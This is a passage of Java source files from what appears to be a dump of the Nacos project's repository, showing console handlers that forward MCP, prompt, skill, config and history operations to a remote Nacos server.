com.alibaba.nacos.console.handler.impl.ConditionFunctionEnabled;\nimport com.alibaba.nacos.console.handler.impl.remote.EnabledRemoteHandler;\nimport com.alibaba.nacos.console.handler.impl.remote.NacosMaintainerClientHolder;\nimport org.springframework.context.annotation.Conditional;\nimport org.springframework.stereotype.Service;\n\n/**\n * Remote implementation of Mcp handler.\n *\n * @author xiweng.yy\n */\n@Service\n@EnabledRemoteHandler\n@Conditional(ConditionFunctionEnabled.ConditionAiEnabled.class)\npublic class McpRemoteHandler implements McpHandler {\n    \n    private final NacosMaintainerClientHolder clientHolder;\n    \n    public McpRemoteHandler(NacosMaintainerClientHolder clientHolder) {\n        this.clientHolder = clientHolder;\n    }\n    \n    @Override\n    public Page<McpServerBasicInfo> listMcpServers(String namespaceId, String mcpName, String search, int pageNo,\n            int pageSize) throws NacosException {\n        if (Constants.MCP_LIST_SEARCH_ACCURATE.equalsIgnoreCase(search)) {\n            return clientHolder.getAiMaintainerService().listMcpServer(namespaceId, mcpName, pageNo, pageSize);\n        } else {\n            return clientHolder.getAiMaintainerService().searchMcpServer(namespaceId, mcpName, pageNo, pageSize);\n        }\n    }\n    \n    @Override\n    public McpServerDetailInfo getMcpServer(String namespaceId, String mcpName, String mcpId, String version)\n            throws NacosException {\n        return clientHolder.getAiMaintainerService().getMcpServerDetail(namespaceId, mcpName, mcpId, version);\n    }\n    \n    @Override\n    public String createMcpServer(String namespaceId, McpServerBasicInfo serverSpecification,\n            McpToolSpecification toolSpecification, McpEndpointSpec endpointSpecification) throws NacosException {\n        return clientHolder.getAiMaintainerService()\n                .createMcpServer(namespaceId, serverSpecification.getName(), serverSpecification, toolSpecification,\n                        endpointSpecification);\n    }\n    \n    @Override\n    public void updateMcpServer(String namespaceId, boolean isPublish, McpServerBasicInfo serverSpecification,\n            McpToolSpecification toolSpecification, McpEndpointSpec endpointSpecification, boolean overrideExisting) throws NacosException {\n        clientHolder.getAiMaintainerService()\n                .updateMcpServer(namespaceId, serverSpecification.getName(), isPublish, serverSpecification,\n                        toolSpecification, endpointSpecification, overrideExisting);\n    }\n    \n    @Override\n    public void deleteMcpServer(String namespaceId, String mcpName, String mcpId, String version)\n            throws NacosException {\n        clientHolder.getAiMaintainerService().deleteMcpServer(namespaceId, mcpName, mcpId, version);\n    }\n    \n    @Override\n    public McpServerImportValidationResult validateImport(String namespaceId, McpServerImportRequest request)\n            throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                \"MCP import functionality is not supported in remote mode\");\n    }\n    \n    @Override\n    public McpServerImportResponse executeImport(String namespaceId, McpServerImportRequest request)\n            throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                \"MCP import functionality is not supported in remote mode\");\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/remote/ai/PromptRemoteHandler.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.remote.ai;\n\nimport com.alibaba.nacos.ai.form.prompt.PromptForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptHistoryForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptLabelBindForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptLabelForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptListForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptMetadataForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptPublishForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptQueryForm;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptMetaInfo;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptMetaSummary;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptVersionInfo;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptVersionSummary;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.console.handler.ai.PromptHandler;\nimport com.alibaba.nacos.console.handler.impl.ConditionFunctionEnabled;\nimport com.alibaba.nacos.console.handler.impl.remote.EnabledRemoteHandler;\nimport com.alibaba.nacos.console.handler.impl.remote.NacosMaintainerClientHolder;\nimport org.springframework.context.annotation.Conditional;\nimport org.springframework.stereotype.Service;\n\n/**\n * Remote implementation of Prompt handler.\n * \n * <p>Calls remote Nacos server through maintainer client for Prompt operations.</p>\n *\n * @author nacos\n */\n@Service\n@EnabledRemoteHandler\n@Conditional(ConditionFunctionEnabled.ConditionAiEnabled.class)\npublic class PromptRemoteHandler implements PromptHandler {\n    \n    private final NacosMaintainerClientHolder clientHolder;\n    \n    public PromptRemoteHandler(NacosMaintainerClientHolder clientHolder) {\n        this.clientHolder = clientHolder;\n    }\n    \n    @Override\n    public boolean publishPrompt(PromptPublishForm form, String srcUser, String srcIp) throws NacosException {\n        return clientHolder.getAiMaintainerService().publishPrompt(\n                form.getNamespaceId(),\n                form.getPromptKey(),\n                form.getVersion(),\n                form.getTemplate(),\n                form.getCommitMsg(),\n                form.getDescription(),\n                form.getBizTags(),\n                form.getVariables()\n        );\n    }\n    \n    @Override\n    public PromptMetaInfo getPromptMeta(PromptForm form) throws NacosException {\n        return clientHolder.getAiMaintainerService().getPromptMeta(\n                form.getNamespaceId(),\n                form.getPromptKey()\n        );\n    }\n    \n    @Override\n    public PromptVersionInfo queryPromptDetail(PromptQueryForm form) throws NacosException {\n        return clientHolder.getAiMaintainerService().queryPromptDetail(\n                form.getNamespaceId(),\n                form.getPromptKey(),\n                form.getVersion(),\n                form.getLabel()\n        );\n    }\n    \n    @Override\n    public boolean bindLabel(PromptLabelBindForm form, String srcUser, String srcIp) throws NacosException {\n        return clientHolder.getAiMaintainerService().bindLabel(\n                form.getNamespaceId(),\n                form.getPromptKey(),\n                form.getLabel(),\n                form.getVersion()\n        );\n    }\n    \n    @Override\n    public boolean unbindLabel(PromptLabelForm form, String srcUser, String srcIp) throws NacosException {\n        return clientHolder.getAiMaintainerService().unbindLabel(\n                form.getNamespaceId(),\n                form.getPromptKey(),\n                form.getLabel()\n        );\n    }\n    \n    @Override\n    public boolean deletePrompt(PromptForm form, String srcUser, String srcIp) throws NacosException {\n        return clientHolder.getAiMaintainerService().deletePrompt(\n                form.getNamespaceId(),\n                form.getPromptKey()\n        );\n    }\n    \n    @Override\n    public Page<PromptMetaSummary> listPrompts(PromptListForm form) throws NacosException {\n        return clientHolder.getAiMaintainerService().listPrompts(\n                form.getNamespaceId(),\n                form.getPromptKey(),\n                form.getSearch(),\n                form.getBizTags(),\n                form.getPageNo(),\n                form.getPageSize()\n        );\n    }\n    \n    @Override\n    public Page<PromptVersionSummary> listPromptVersions(PromptHistoryForm form) throws NacosException {\n        return clientHolder.getAiMaintainerService().listPromptVersions(\n                form.getNamespaceId(),\n                form.getPromptKey(),\n                form.getPageNo(),\n                form.getPageSize()\n        );\n    }\n    \n    @Override\n    public boolean updatePromptMetadata(PromptMetadataForm form, String srcUser, String srcIp) throws NacosException {\n        return clientHolder.getAiMaintainerService().updatePromptMetadata(\n                form.getNamespaceId(),\n                form.getPromptKey(),\n                form.getDescription(),\n                form.getBizTags()\n        );\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/remote/ai/SkillRemoteHandler.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.remote.ai;\n\nimport com.alibaba.nacos.ai.form.skills.admin.SkillDetailForm;\nimport com.alibaba.nacos.ai.form.skills.admin.SkillForm;\nimport com.alibaba.nacos.ai.form.skills.admin.SkillListForm;\nimport com.alibaba.nacos.ai.form.skills.admin.SkillUpdateForm;\nimport com.alibaba.nacos.api.ai.model.skills.Skill;\nimport com.alibaba.nacos.api.ai.model.skills.SkillBasicInfo;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.console.handler.ai.SkillHandler;\nimport com.alibaba.nacos.console.handler.impl.ConditionFunctionEnabled;\nimport com.alibaba.nacos.console.handler.impl.remote.EnabledRemoteHandler;\nimport com.alibaba.nacos.console.handler.impl.remote.NacosMaintainerClientHolder;\nimport com.alibaba.nacos.core.model.form.PageForm;\nimport org.springframework.context.annotation.Conditional;\nimport org.springframework.stereotype.Service;\n\n/**\n * Remote implementation of Skill handler.\n * \n * <p>Calls remote Nacos server through maintainer client for Skill operations.</p>\n *\n * @author nacos\n */\n@Service\n@EnabledRemoteHandler\n@Conditional(ConditionFunctionEnabled.ConditionAiEnabled.class)\npublic class SkillRemoteHandler implements SkillHandler {\n    \n    private final NacosMaintainerClientHolder clientHolder;\n    \n    public SkillRemoteHandler(NacosMaintainerClientHolder clientHolder) {\n        this.clientHolder = clientHolder;\n    }\n    \n    @Override\n    public void registerSkill(Skill skill, SkillDetailForm form) throws NacosException {\n        clientHolder.getAiMaintainerService().registerSkill(form.getNamespaceId(), skill);\n    }\n    \n    @Override\n    public Skill getSkill(SkillForm form) throws NacosException {\n        return clientHolder.getAiMaintainerService().getSkillDetail(\n                form.getNamespaceId(),\n                form.getSkillName()\n        );\n    }\n    \n    @Override\n    public void deleteSkill(SkillForm form) throws NacosException {\n        clientHolder.getAiMaintainerService().deleteSkill(\n                form.getNamespaceId(),\n                form.getSkillName()\n        );\n    }\n    \n    @Override\n    public void updateSkill(Skill skill, SkillUpdateForm form) throws NacosException {\n        clientHolder.getAiMaintainerService().updateSkill(form.getNamespaceId(), skill);\n    }\n    \n    @Override\n    public Page<SkillBasicInfo> listSkills(SkillListForm skillListForm, PageForm pageForm) throws NacosException {\n        return clientHolder.getAiMaintainerService().listSkills(\n                skillListForm.getNamespaceId(),\n                skillListForm.getSkillName(),\n                skillListForm.getSearch(),\n                pageForm.getPageNo(),\n                pageForm.getPageSize()\n        );\n    }\n    \n    @Override\n    public String uploadSkillFromZip(String namespaceId, byte[] zipBytes) throws NacosException {\n        return clientHolder.getAiMaintainerService().uploadSkillFromZip(namespaceId, zipBytes);\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/remote/config/ConfigImportAndExportService.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.remote.config;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.config.model.SameConfigPolicy;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.common.http.HttpUtils;\nimport com.alibaba.nacos.common.http.param.Query;\nimport com.alibaba.nacos.common.utils.IoUtils;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.utils.RequestUtil;\nimport com.alibaba.nacos.console.handler.impl.remote.EnabledRemoteHandler;\nimport com.alibaba.nacos.console.handler.impl.remote.RemoteServerConnector;\nimport com.alibaba.nacos.core.cluster.Member;\nimport com.alibaba.nacos.core.utils.WebUtils;\nimport com.fasterxml.jackson.core.type.TypeReference;\nimport org.apache.hc.client5.http.HttpResponseException;\nimport org.apache.hc.client5.http.classic.methods.HttpGet;\nimport org.apache.hc.client5.http.classic.methods.HttpPost;\nimport org.apache.hc.client5.http.entity.mime.MultipartEntityBuilder;\nimport org.apache.hc.client5.http.impl.classic.AbstractHttpClientResponseHandler;\nimport org.apache.hc.client5.http.impl.classic.BasicHttpClientResponseHandler;\nimport org.apache.hc.client5.http.impl.classic.CloseableHttpClient;\nimport org.apache.hc.client5.http.impl.classic.HttpClients;\nimport org.apache.hc.core5.http.ClassicHttpResponse;\nimport org.apache.hc.core5.http.ContentType;\nimport org.apache.hc.core5.http.HttpEntity;\nimport org.apache.hc.core5.http.ProtocolException;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.http.MediaType;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.stereotype.Service;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.net.URI;\nimport java.net.URISyntaxException;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Nacos config import and export service.\n *\n * @author xiweng.yy\n */\n@Service\n@EnabledRemoteHandler\npublic class ConfigImportAndExportService {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(ConfigImportAndExportService.class);\n    \n    private static final String REMOTE_CONFIG_IMPORT_URL = \"http://%s%s/v3/admin/cs/config/import\";\n    \n    private static final String REMOTE_CONFIG_EXPORT_URL = \"http://%s%s/v3/admin/cs/config/export\";\n    \n    private final RemoteServerConnector remoteServerConnector;\n    \n    public ConfigImportAndExportService(RemoteServerConnector remoteServerConnector) {\n        this.remoteServerConnector = remoteServerConnector;\n    }\n    \n    /**\n     * Do import config to remote server.\n     *\n     * @param sourceUser    source user from console request\n     * @param namespaceId   namespace id from console request\n     * @param policy        conflict policy\n     * @param importFile    imported config file\n     * @param sourceIp      source ip from console request\n     * @param sourceApp     source app from console request\n     * @return Maps of import success and failed count\n     */\n    public Result<Map<String, Object>> importConfig(String sourceUser, String namespaceId, SameConfigPolicy policy,\n            MultipartFile importFile, String sourceIp, String sourceApp) throws NacosException {\n        String serverContextPath = remoteServerConnector.getServerContextPath();\n        Member serverMember = remoteServerConnector.randomOneHealthyMember();\n        String url = String.format(REMOTE_CONFIG_IMPORT_URL, serverMember.getAddress(), serverContextPath);\n        try (CloseableHttpClient httpClient = HttpClients.createDefault()) {\n            Query query = Query.newInstance().addParam(\"namespaceId\", namespaceId).addParam(\"srcUser\", sourceUser);\n            URI uri = HttpUtils.buildUri(url, query);\n            HttpPost httpPost = new HttpPost(uri);\n            httpPost.setHeader(WebUtils.X_FORWARDED_FOR, sourceIp);\n            httpPost.setHeader(RequestUtil.CLIENT_APPNAME_HEADER, sourceApp);\n            remoteServerConnector.addAuthIdentity(httpPost);\n            String contentTypeString = null == importFile.getContentType() ? MediaType.MULTIPART_FORM_DATA_VALUE\n                    : importFile.getContentType();\n            ContentType contentType = ContentType.create(contentTypeString, Constants.ENCODE);\n            MultipartEntityBuilder multipartEntityBuilder = MultipartEntityBuilder.create();\n            multipartEntityBuilder.addBinaryBody(\"file\", importFile.getInputStream(), contentType,\n                    importFile.getOriginalFilename());\n            multipartEntityBuilder.addTextBody(\"policy\", policy.name(), contentType);\n            HttpEntity entity = multipartEntityBuilder.build();\n            httpPost.setEntity(entity);\n            String executeResult = httpClient.execute(httpPost, new BasicHttpClientResponseHandler());\n            return JacksonUtils.toObj(executeResult, new TypeReference<>() {\n            });\n        } catch (HttpResponseException responseException) {\n            LOGGER.error(\"Import config to server {} failed with code {}: \", serverMember.getAddress(),\n                    responseException.getStatusCode());\n            throw new NacosRuntimeException(responseException.getStatusCode(), responseException.getMessage());\n        } catch (IOException | URISyntaxException e) {\n            LOGGER.error(\"Import config to server {} failed: \", serverMember.getAddress(), e);\n            throw new NacosRuntimeException(NacosException.SERVER_ERROR, \"Import config to server failed.\");\n        }\n    }\n    \n    /**\n     * Do export config to from server.\n     *\n     * @param dataId        data id of export config\n     * @param group         group name of export config\n     * @param namespaceId   namespace of export config\n     * @param appName       app name of export config\n     * @param ids           storage id of export config\n     * @return export file entity\n     * @throws Exception    any exception during export config\n     */\n    public ResponseEntity<byte[]> exportConfig(String dataId, String group, String namespaceId, String appName,\n            List<Long> ids) throws Exception {\n        String serverContextPath = remoteServerConnector.getServerContextPath();\n        Member serverMember = remoteServerConnector.randomOneHealthyMember();\n        String url = String.format(REMOTE_CONFIG_EXPORT_URL, serverMember.getAddress(), serverContextPath);\n        try (CloseableHttpClient httpClient = HttpClients.createDefault()) {\n            Query query = Query.newInstance().addParam(\"namespaceId\", namespaceId).addParam(\"dataId\", dataId)\n                    .addParam(\"groupName\", group).addParam(\"ids\", StringUtils.join(ids, \",\"));\n            URI uri = HttpUtils.buildUri(url, query);\n            HttpGet httpGet = new HttpGet(uri);\n            remoteServerConnector.addAuthIdentity(httpGet);\n            return httpClient.execute(httpGet, new ExportHttpClientResponseHandler());\n        } catch (HttpResponseException responseException) {\n            LOGGER.error(\"Export config from server {} failed with code {}: \", serverMember.getAddress(),\n                    responseException.getStatusCode());\n            throw new NacosRuntimeException(responseException.getStatusCode(), responseException.getMessage());\n        } catch (IOException | URISyntaxException e) {\n            LOGGER.error(\"Export config from server {} failed: \", serverMember.getAddress(), e);\n            throw new NacosRuntimeException(NacosException.SERVER_ERROR, \"Export config to server failed.\");\n        }\n    }\n    \n    static class ExportHttpClientResponseHandler\n            extends AbstractHttpClientResponseHandler<ResponseEntity<byte[]>> {\n        \n        private String contentDisposition;\n        \n        @Override\n        public ResponseEntity<byte[]> handleResponse(ClassicHttpResponse response) throws IOException {\n            try {\n                contentDisposition = response.getHeader(\"Content-Disposition\").getValue();\n            } catch (ProtocolException e) {\n                throw new NacosRuntimeException(NacosException.SERVER_ERROR,\n                        \"Export config from server, parse response file name failed; \", e);\n            }\n            return super.handleResponse(response);\n        }\n        \n        @Override\n        public ResponseEntity<byte[]> handleEntity(HttpEntity entity) throws IOException {\n            InputStream inputStream = entity.getContent();\n            try (ByteArrayOutputStream outputStream = new ByteArrayOutputStream()) {\n                IoUtils.copy(inputStream, outputStream);\n                byte[] responseBody = outputStream.toByteArray();\n                return ResponseEntity.ok().contentType(MediaType.APPLICATION_OCTET_STREAM)\n                        .header(\"Content-Disposition\", contentDisposition).body(responseBody);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/remote/config/ConfigRemoteHandler.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.remote.config;\n\nimport com.alibaba.nacos.api.config.model.ConfigBasicInfo;\nimport com.alibaba.nacos.api.config.model.ConfigCloneInfo;\nimport com.alibaba.nacos.api.config.model.ConfigDetailInfo;\nimport com.alibaba.nacos.api.config.model.ConfigGrayInfo;\nimport com.alibaba.nacos.api.config.model.ConfigListenerInfo;\nimport com.alibaba.nacos.api.config.model.SameConfigPolicy;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.constant.ParametersField;\nimport com.alibaba.nacos.config.server.controller.parameters.SameNamespaceCloneConfigBean;\nimport com.alibaba.nacos.config.server.model.ConfigRequestInfo;\nimport com.alibaba.nacos.config.server.model.form.ConfigForm;\nimport com.alibaba.nacos.console.handler.config.ConfigHandler;\nimport com.alibaba.nacos.console.handler.impl.ConditionFunctionEnabled;\nimport com.alibaba.nacos.console.handler.impl.remote.EnabledRemoteHandler;\nimport com.alibaba.nacos.console.handler.impl.remote.NacosMaintainerClientHolder;\nimport com.alibaba.nacos.maintainer.client.config.ConfigMaintainerService;\nimport org.springframework.context.annotation.Conditional;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.stereotype.Service;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\n\nimport static com.alibaba.nacos.api.common.Constants.ALL_PATTERN;\n\n/**\n * Remote Implementation of ConfigHandler for handling internal configuration operations.\n *\n * @author xiweng.yy\n */\n@Service\n@EnabledRemoteHandler\n@Conditional(ConditionFunctionEnabled.ConditionConfigEnabled.class)\npublic class ConfigRemoteHandler implements ConfigHandler {\n    \n    private final NacosMaintainerClientHolder clientHolder;\n    \n    private final ConfigImportAndExportService importAndExportService;\n    \n    public ConfigRemoteHandler(NacosMaintainerClientHolder clientHolder,\n            ConfigImportAndExportService importAndExportService) {\n        this.clientHolder = clientHolder;\n        this.importAndExportService = importAndExportService;\n    }\n    \n    @Override\n    public Page<ConfigBasicInfo> getConfigList(int pageNo, int pageSize, String dataId, String group,\n            String namespaceId, Map<String, Object> configAdvanceInfo) throws NacosException {\n        String search = dataId.contains(ALL_PATTERN) ? Constants.CONFIG_SEARCH_BLUR : Constants.CONFIG_SEARCH_ACCURATE;\n        return listConfigInfo(search, pageNo, pageSize, dataId, group, namespaceId, configAdvanceInfo);\n    }\n    \n    @Override\n    public ConfigDetailInfo getConfigDetail(String dataId, String group, String namespaceId) throws NacosException {\n        try {\n            return clientHolder.getConfigMaintainerService().getConfig(dataId, group, namespaceId);\n        } catch (NacosException e) {\n            if (NacosException.NOT_FOUND == e.getErrCode()) {\n                return null;\n            }\n            throw e;\n        }\n    }\n    \n    @Override\n    public Boolean publishConfig(ConfigForm configForm, ConfigRequestInfo configRequestInfo) throws NacosException {\n        ConfigMaintainerService configMaintainerService = clientHolder.getConfigMaintainerService();\n        if (StringUtils.isBlank(configRequestInfo.getBetaIps())) {\n            return configMaintainerService.publishConfig(configForm.getDataId(), configForm.getGroup(),\n                    configForm.getNamespaceId(), configForm.getContent(), configForm.getAppName(),\n                    configForm.getSrcUser(), configForm.getConfigTags(), configForm.getDesc(), configForm.getType());\n        } else {\n            return configMaintainerService.publishBetaConfig(configForm.getDataId(), configForm.getGroup(),\n                    configForm.getNamespaceId(), configForm.getContent(), configForm.getAppName(),\n                    configForm.getSrcUser(), configForm.getConfigTags(), configForm.getDesc(), configForm.getType(),\n                    configRequestInfo.getBetaIps());\n        }\n    }\n    \n    @Override\n    public Boolean deleteConfig(String dataId, String group, String namespaceId, String tag, String clientIp,\n            String srcUser) throws NacosException {\n        return clientHolder.getConfigMaintainerService().deleteConfig(dataId, group, namespaceId);\n    }\n    \n    @Override\n    public Boolean batchDeleteConfigs(List<Long> ids, String clientIp, String srcUser) throws NacosException {\n        return clientHolder.getConfigMaintainerService().deleteConfigs(ids);\n    }\n    \n    @Override\n    public Page<ConfigBasicInfo> getConfigListByContent(String search, int pageNo, int pageSize, String dataId,\n            String group, String namespaceId, Map<String, Object> configAdvanceInfo) throws NacosException {\n        return listConfigInfo(search, pageNo, pageSize, dataId, group, namespaceId, configAdvanceInfo);\n    }\n    \n    @Override\n    public ConfigListenerInfo getListeners(String dataId, String group, String namespaceId, boolean aggregation)\n            throws Exception {\n        return clientHolder.getConfigMaintainerService().getListeners(dataId, group, namespaceId, aggregation);\n    }\n    \n    @Override\n    public ConfigListenerInfo getAllSubClientConfigByIp(String ip, boolean all, String namespaceId, boolean aggregation)\n            throws NacosException {\n        return clientHolder.getConfigMaintainerService().getAllSubClientConfigByIp(ip, all, namespaceId, aggregation);\n    }\n    \n    @Override\n    public ResponseEntity<byte[]> exportConfig(String dataId, String group, String namespaceId, String appName,\n            List<Long> ids) throws Exception {\n        return importAndExportService.exportConfig(dataId, group, namespaceId, appName, ids);\n    }\n    \n    @Override\n    public Result<Map<String, Object>> importAndPublishConfig(String srcUser, String namespaceId,\n            SameConfigPolicy policy, MultipartFile file, String srcIp, String requestIpApp) throws NacosException {\n        return importAndExportService.importConfig(srcUser, namespaceId, policy, file, srcIp, requestIpApp);\n    }\n    \n    @Override\n    public Result<Map<String, Object>> cloneConfig(String srcUser, String namespaceId,\n            List<SameNamespaceCloneConfigBean> configBeansList, SameConfigPolicy policy, String srcIp,\n            String requestIpApp) throws NacosException {\n        List<ConfigCloneInfo> configInfos = new ArrayList<>(configBeansList.size());\n        configBeansList.forEach(sameNamespaceCloneConfigBean -> {\n            ConfigCloneInfo configCloneInfo = new ConfigCloneInfo();\n            configCloneInfo.setConfigId(sameNamespaceCloneConfigBean.getCfgId());\n            configCloneInfo.setTargetDataId(sameNamespaceCloneConfigBean.getDataId());\n            configCloneInfo.setTargetGroupName(sameNamespaceCloneConfigBean.getGroup());\n            configInfos.add(configCloneInfo);\n        });\n        return Result.success(\n                clientHolder.getConfigMaintainerService().cloneConfig(namespaceId, configInfos, srcUser, policy));\n    }\n    \n    @Override\n    public boolean removeBetaConfig(String dataId, String group, String namespaceId, String remoteIp,\n            String requestIpApp, String srcUser) throws NacosException {\n        return clientHolder.getConfigMaintainerService().stopBeta(dataId, group, namespaceId);\n    }\n    \n    @Override\n    public ConfigGrayInfo queryBetaConfig(String dataId, String group, String namespaceId) throws NacosException {\n        try {\n            return clientHolder.getConfigMaintainerService().queryBeta(dataId, group, namespaceId);\n        } catch (NacosException e) {\n            if (NacosException.NOT_FOUND == e.getErrCode()) {\n                // admin api return 404, means the config is not in beta.\n                return null;\n            }\n            // other exception throw it.\n            throw e;\n        }\n    }\n    \n    private Page<ConfigBasicInfo> listConfigInfo(String search, int pageNo, int pageSize, String dataId,\n            String groupName, String namespaceId, Map<String, Object> configAdvanceInfo) throws NacosException {\n        String type = getInfoFromAdvanceInfo(configAdvanceInfo, ParametersField.TYPES);\n        String appName = getInfoFromAdvanceInfo(configAdvanceInfo, \"appName\");\n        String configTags = getInfoFromAdvanceInfo(configAdvanceInfo, \"config_tags\");\n        String configDetail = getInfoFromAdvanceInfo(configAdvanceInfo, \"content\");\n        return clientHolder.getConfigMaintainerService()\n                .searchConfigByDetails(dataId, groupName, namespaceId, search, configDetail, type, configTags, appName,\n                        pageNo, pageSize);\n    }\n    \n    private String getInfoFromAdvanceInfo(Map<String, Object> configAdvanceInfo, String key) {\n        return configAdvanceInfo.containsKey(key) ? (String) configAdvanceInfo.get(key) : StringUtils.EMPTY;\n    }\n    \n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/remote/config/HistoryRemoteHandler.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.remote.config;\n\nimport com.alibaba.nacos.api.config.model.ConfigBasicInfo;\nimport com.alibaba.nacos.api.config.model.ConfigHistoryBasicInfo;\nimport com.alibaba.nacos.api.config.model.ConfigHistoryDetailInfo;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.console.handler.config.HistoryHandler;\nimport com.alibaba.nacos.console.handler.impl.ConditionFunctionEnabled;\nimport com.alibaba.nacos.console.handler.impl.remote.EnabledRemoteHandler;\nimport com.alibaba.nacos.console.handler.impl.remote.NacosMaintainerClientHolder;\nimport org.springframework.context.annotation.Conditional;\nimport org.springframework.stereotype.Service;\n\nimport java.util.List;\n\n/**\n * Remote Implementation of HistoryHandler for handling internal configuration operations.\n *\n * @author xiweng.yy\n */\n@Service\n@EnabledRemoteHandler\n@Conditional(ConditionFunctionEnabled.ConditionConfigEnabled.class)\npublic class HistoryRemoteHandler implements HistoryHandler {\n    \n    private final NacosMaintainerClientHolder clientHolder;\n    \n    public HistoryRemoteHandler(NacosMaintainerClientHolder clientHolder) {\n        this.clientHolder = clientHolder;\n    }\n    \n    @Override\n    public ConfigHistoryDetailInfo getConfigHistoryInfo(String dataId, String group, String namespaceId, Long nid)\n            throws NacosException {\n        return clientHolder.getConfigMaintainerService().getConfigHistoryInfo(dataId, group, namespaceId, nid);\n    }\n    \n    @Override\n    public Page<ConfigHistoryBasicInfo> listConfigHistory(String dataId, String group, String namespaceId,\n            Integer pageNo, Integer pageSize) throws NacosException {\n        return clientHolder.getConfigMaintainerService()\n                .listConfigHistory(dataId, group, namespaceId, pageNo, pageSize);\n    }\n    \n    @Override\n    public ConfigHistoryDetailInfo getPreviousConfigHistoryInfo(String 